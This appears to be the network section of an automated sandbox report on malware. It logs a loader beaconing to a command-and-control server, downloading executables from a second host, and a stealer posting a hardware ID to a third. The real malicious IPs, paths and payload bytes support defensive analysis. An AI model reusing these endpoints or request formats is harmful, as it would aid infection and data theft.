Nov 23, 2024 21:16:53.075845957 CET	1.1.1.1	192.168.2.8	0xd1e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:16:53.075845957 CET	1.1.1.1	192.168.2.8	0xd1e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:17:24.566740036 CET	1.1.1.1	192.168.2.8	0x1475	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:17:24.566740036 CET	1.1.1.1	192.168.2.8	0x1475	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:17:39.955207109 CET	1.1.1.1	192.168.2.8	0x5b2f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:17:39.955207109 CET	1.1.1.1	192.168.2.8	0x5b2f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:18:24.606827974 CET	1.1.1.1	192.168.2.8	0x65bf	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:18:24.606827974 CET	1.1.1.1	192.168.2.8	0x65bf	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:19:09.113087893 CET	1.1.1.1	192.168.2.8	0x5bfd	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:19:09.113087893 CET	1.1.1.1	192.168.2.8	0x5bfd	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:19:27.728359938 CET	1.1.1.1	192.168.2.8	0x3c80	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:19:27.728359938 CET	1.1.1.1	192.168.2.8	0x3c80	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:19:27.819361925 CET	1.1.1.1	192.168.2.8	0x3c80	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:19:27.819361925 CET	1.1.1.1	192.168.2.8	0x3c80	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:15.685184956 CET	1.1.1.1	192.168.2.8	0x72be	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:21:15.685184956 CET	1.1.1.1	192.168.2.8	0x72be	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:24.925283909 CET	1.1.1.1	192.168.2.8	0xa9b6	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:24.925961971 CET	1.1.1.1	192.168.2.8	0xde54	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:21:24.925961971 CET	1.1.1.1	192.168.2.8	0xde54	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:25.167907953 CET	1.1.1.1	192.168.2.8	0x1e85	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:26.386311054 CET	1.1.1.1	192.168.2.8	0xbf7c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:21:26.386311054 CET	1.1.1.1	192.168.2.8	0xbf7c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:21:45.635034084 CET	1.1.1.1	192.168.2.8	0x9801	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:21:45.635034084 CET	1.1.1.1	192.168.2.8	0x9801	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:05.671608925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:15:07.072993040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:08.705357075 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:15:09.068551064 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:15:10.060102940 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 38 35 31 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 35 31 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 35 31 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 35 31 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1008515001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008516001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008517001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008518001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49711	185.215.113.16	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:10.418817043 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 21:15:11.798314095 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:11 GMT Content-Type: application/octet-stream Content-Length: 1866752 Last-Modified: Sat, 23 Nov 2024 19:41:32 GMT Connection: keep-alive ETag: "67422fec-1c7c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 27 0a 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?g0J@`J'@\pp `b@.rsrcpr@.idata t@ *v@xwjcifzz@0x@olfigpve JT@.taggant00J"Z@
Nov 23, 2024 21:15:11.798362017 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:11.798377037 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:11.798403025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:11.798429012 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:11.798465967 CET	1236	IN	Data Raw: 14 d3 48 cb 4d 39 9f 9a cb 44 35 93 52 31 94 f0 20 89 c6 a5 67 54 f6 be 37 7e 8a 95 fd f8 66 90 7f 7d fa b7 37 0a 69 df 62 79 15 7e 70 5d 38 61 20 ca 92 d9 0e 23 06 f6 02 35 ce b3 3b 79 a6 87 05 3b e0 32 7b 71 84 10 c6 8a 99 f7 ff af 86 bc 40 6e Data Ascii: HM9D5R1 gT7~f}7iby~p]8a #5;y;2{q@nha+S^->mo=o{myT2v?7/zx7f[.1BA~59?fzTR6 g4/h@4twhJ4}ozf_2cu
Nov 23, 2024 21:15:11.798481941 CET	1236	IN	Data Raw: ed e5 4d bb 30 5c 5e e9 6d fc 30 72 89 21 69 33 f3 d0 15 c1 c8 ab 6f ab 3a 94 52 38 19 71 2c cb 97 27 7b 57 c0 44 f0 8e b6 27 12 91 af bd 37 24 92 8c e4 8e f3 b4 f7 24 b0 37 a1 94 05 ad af bf 87 04 e3 46 cc 7b 23 10 cc 7a 18 89 36 3c e9 83 66 17 Data Ascii: M0\^m0r!i3o:R8q,'{WD'7$$7F{#z6<f<DS<`wK4FgIx4LoU)cQ(invI\|O9<Y?(!:PtTyt9CA0O)\|bPuUZ*O7]9
Nov 23, 2024 21:15:11.798500061 CET	1236	IN	Data Raw: 5e c4 4d 19 60 47 ff fc a8 11 36 19 11 24 34 d3 91 7b 88 9f d9 57 84 ee 5d 09 d5 a8 aa 4f c4 06 0c 8c a2 2e d1 76 97 91 2d 78 8e 93 6c 75 e8 6d 65 1f e9 ed ea c4 ff 6a 2f 7c 75 aa 86 2f 22 cd fb 6a e4 0c 90 a4 de f6 b1 73 75 2c 2c 36 16 54 95 53 Data Ascii: ^M`G6$4{W]O.v-xlumej/\|u/"jsu,,6TSgit/\e?[W\DptIjlqc-F@Ybgettg#\JN`'$,T]R6&GM'i,j\wox5$])pd@,T
Nov 23, 2024 21:15:11.798516035 CET	1236	IN	Data Raw: 52 75 92 58 c0 67 75 b4 01 a5 1e e9 10 53 67 3b 00 90 7c f7 28 54 ad 6f 3d 1d e9 70 aa a1 8a 8c cd 9e 50 d1 64 19 cf b1 2a c2 a4 af a3 a6 08 6f 16 32 e5 f8 18 b1 53 f0 0b 9d 13 23 7d dc 65 e3 c7 1d c9 67 e9 00 cd d6 3c 64 ca e7 c5 2c 29 d3 6f 58 Data Ascii: RuXguSg;\|(To=pPd*o2S#}eg<d,)oX_q43{`oC.mTH.,h?TtX.Gp9:Hd?DfUc34>)O]DF\rn&7+wnXvsu/
Nov 23, 2024 21:15:11.798532009 CET	1236	IN	Data Raw: 6f f8 24 2b 5c df eb e8 0d 94 f7 2d a3 78 42 94 65 20 e2 cc f2 f6 36 af b0 8b 56 aa c0 12 37 28 33 20 6b 56 17 4c 2e 25 81 85 c1 84 27 4b 94 d6 60 bd cc f6 c1 3b bf c0 b2 ff 44 10 21 a8 a2 c5 06 dc a6 8a 27 a5 df f3 40 5f 97 3e 80 87 e5 3f a5 47 Data Ascii: o$+\-xBe 6V7(3 kVL.%'K`;D!'@_>?G`:-T*o<xx:lf7z,f6r5V$Cz^I;4lkxniXact$n`FF9rqYLu@ZZ?_l/.xf
Nov 23, 2024 21:15:11.918741941 CET	1236	IN	Data Raw: 37 52 57 94 45 27 68 ca 68 22 22 a0 9c 18 fc 88 57 3c 82 d6 fe 7e 72 fa d8 2c b6 13 1f bd 7f e1 eb 07 6d e3 c7 30 d2 ca 0a fd 35 05 e2 01 12 12 a0 44 e1 50 2d ac ff 2f 56 e2 f2 84 e9 b6 77 a9 e1 53 81 05 d0 04 23 ef 20 17 7a f2 86 f3 e2 21 b6 28 Data Ascii: 7RWE'hh""W<~r,m05DP-/VwS# z!(`k$0Wzq#h eN_RN2F&r6?i)Eth ndAsh\|mS,Lgk (Yzi7VX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49713	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:17.596848011 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 31 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008515001&unit=246122658369
Nov 23, 2024 21:15:19.023679018 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49715	185.215.113.16	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:19.148426056 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 21:15:20.612751007 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:15:20 GMT Content-Type: application/octet-stream Content-Length: 1787392 Last-Modified: Sat, 23 Nov 2024 19:41:38 GMT Connection: keep-alive ETag: "67422ff2-1b4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 f6 25 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$h@h%@M$a$$ $b@.rsrc$r@.idata $t@ @*$v@chbioofnOx@gsyzfhioh @.taggant0h"$@
Nov 23, 2024 21:15:20.612778902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:20.612806082 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:20.612812996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 21:15:20.612921000 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: t"- WTKM
Nov 23, 2024 21:15:20.612926960 CET	1236	IN	Data Raw: 5e cc bd c2 15 0b 0e 84 fd 99 1e 97 ca d2 2f df 28 4c bc 5e cd 1e 15 05 69 67 85 54 a8 c6 56 6f 37 55 08 c6 a5 e5 c3 b5 62 53 de 2b f8 f2 e6 35 ca d5 26 91 13 ae 0d 4e 38 3b 4d bf 1b c2 b4 11 ac df 8e 32 2d ca 93 c5 0d a6 fe fa 2f 50 93 90 47 63 Data Ascii: ^/(L^igTVo7UbS+5&N8;M2-/PGc#s8S'gx_As`&VVC\|a* ZDkD@j0QZ&x,WJM%UR3?-7(2uc.'$%Ei**0\;
Nov 23, 2024 21:15:20.612937927 CET	1236	IN	Data Raw: 46 fa 67 e5 a3 d7 cc b0 61 fa 5e c5 fb 56 f7 53 3e 8c cc 34 4e e4 dd cd a2 63 5f 86 a0 6b dd af 43 1c 20 47 8f 2a 43 3a c7 d1 98 32 de 15 13 2e 93 55 87 63 2a cc cc 82 25 27 53 dd 24 24 c7 04 b2 54 8c fb 68 81 a8 41 5a 54 1f 0f a9 38 14 d5 d5 e2 Data Ascii: Fga^VS>4Nc_kC GC:2.Uc%'S$$ThAZT8b7$IN-L5d#IN}Lk!HexR!-S*CT}1ox7Ng&9.`0F(}!e[a-?Mbev6/>
Nov 23, 2024 21:15:20.612942934 CET	328	IN	Data Raw: f8 0f e0 5a 0b 99 16 08 bb e4 fe 60 04 41 0e fb 79 cc 2a 3a f8 8f 20 12 e5 15 1a b2 63 cf 13 98 41 1f 87 95 b1 f0 65 96 57 85 f9 ed 28 cf 67 bb 18 60 38 27 53 11 30 0e 27 67 05 f7 39 b4 58 77 15 6b da cb 87 8b 92 cb 15 c7 85 f0 10 9b 7f 3c 84 0b Data Ascii: Z`Ay: cAeW(g`8'S0'g9Xwk<`p'%!-2i[7A"LM0Nwr <Ac/Z3Xs=4,c_+/-{lJ4?NmjU
Nov 23, 2024 21:15:20.612951040 CET	1236	IN	Data Raw: 17 4b ff ee 65 b4 a3 3a 13 23 1e b9 b8 7f 21 92 51 df 33 f5 0a bd 92 9b 7d 14 8c 05 aa 4b 93 c9 a1 10 28 92 43 87 7f 2f 14 37 d1 13 bd 10 1e 5b 2a dc fd b8 ed 4f 21 8b 04 3b 87 c2 b8 db ae 77 3d 34 21 5f 2d 97 70 97 de 0c 22 72 05 e6 0b 17 69 b7 Data Ascii: Ke:#!Q3}K(C/7[*O!;w=4!_-p"ri-Br%Y6]SE4!-Gp4!7-K,Ok!c]+#_/R/MM5$":OeaNO`E+[4vu+ -}
Nov 23, 2024 21:15:20.612960100 CET	224	IN	Data Raw: 68 df 08 b5 e0 63 93 c1 85 b2 73 3d 69 79 0a 0a aa 43 07 7b a9 24 f0 96 e8 ca b1 9c 04 a8 ef c0 03 6f 88 f5 d3 0b fe e2 69 a9 23 5c 13 4f 93 c1 81 22 fe 75 0d 4f 18 ab 04 b3 89 c0 4d 45 ec fa 14 1b 08 c3 69 4e 8c 2f 6d b8 3f f3 17 2b 93 95 89 47 Data Ascii: hcs=iyC{$oi#\O"uOMEiN/m?+Gnm#Z1Lcr~Mj@!iO[;kUMc/9)E!#3-KH,ROK;!;>!#p
Nov 23, 2024 21:15:20.733110905 CET	1236	IN	Data Raw: 8d 4f df 56 34 26 94 12 d6 43 cd c0 81 e3 33 3b ac b8 07 93 95 37 8f c2 7d 47 8e 84 d1 cc 24 5b 06 c9 23 b9 03 e3 00 de 1d 4b a3 36 ac c9 cd 97 1e 15 f8 ae 17 13 ee 52 a3 1e 38 b6 08 d5 1f 6b 17 b4 b3 c2 e5 4b 2d ef 5e 4f 08 bb 17 8b d3 0e 03 87 Data Ascii: OV4&C3;7}G$[#K6R8kK-^O .7w"U!<h30{UKR]K!h;5$ZP?=.-Che/NO9Gmh/cCz\|w+ _cs %K:Im*')1#E6!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49719	185.215.113.206	80	3684	C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:15:26.628643990 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 21:15:28.007531881 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:15:28.010251999 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 43 44 44 42 31 37 39 39 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="hwid"B5CDDB1799AC3343412148------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="build"mars------AKFIDHDGIEGCAKFIIJKF--
Nov 23, 2024 21:15:28.464632988 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
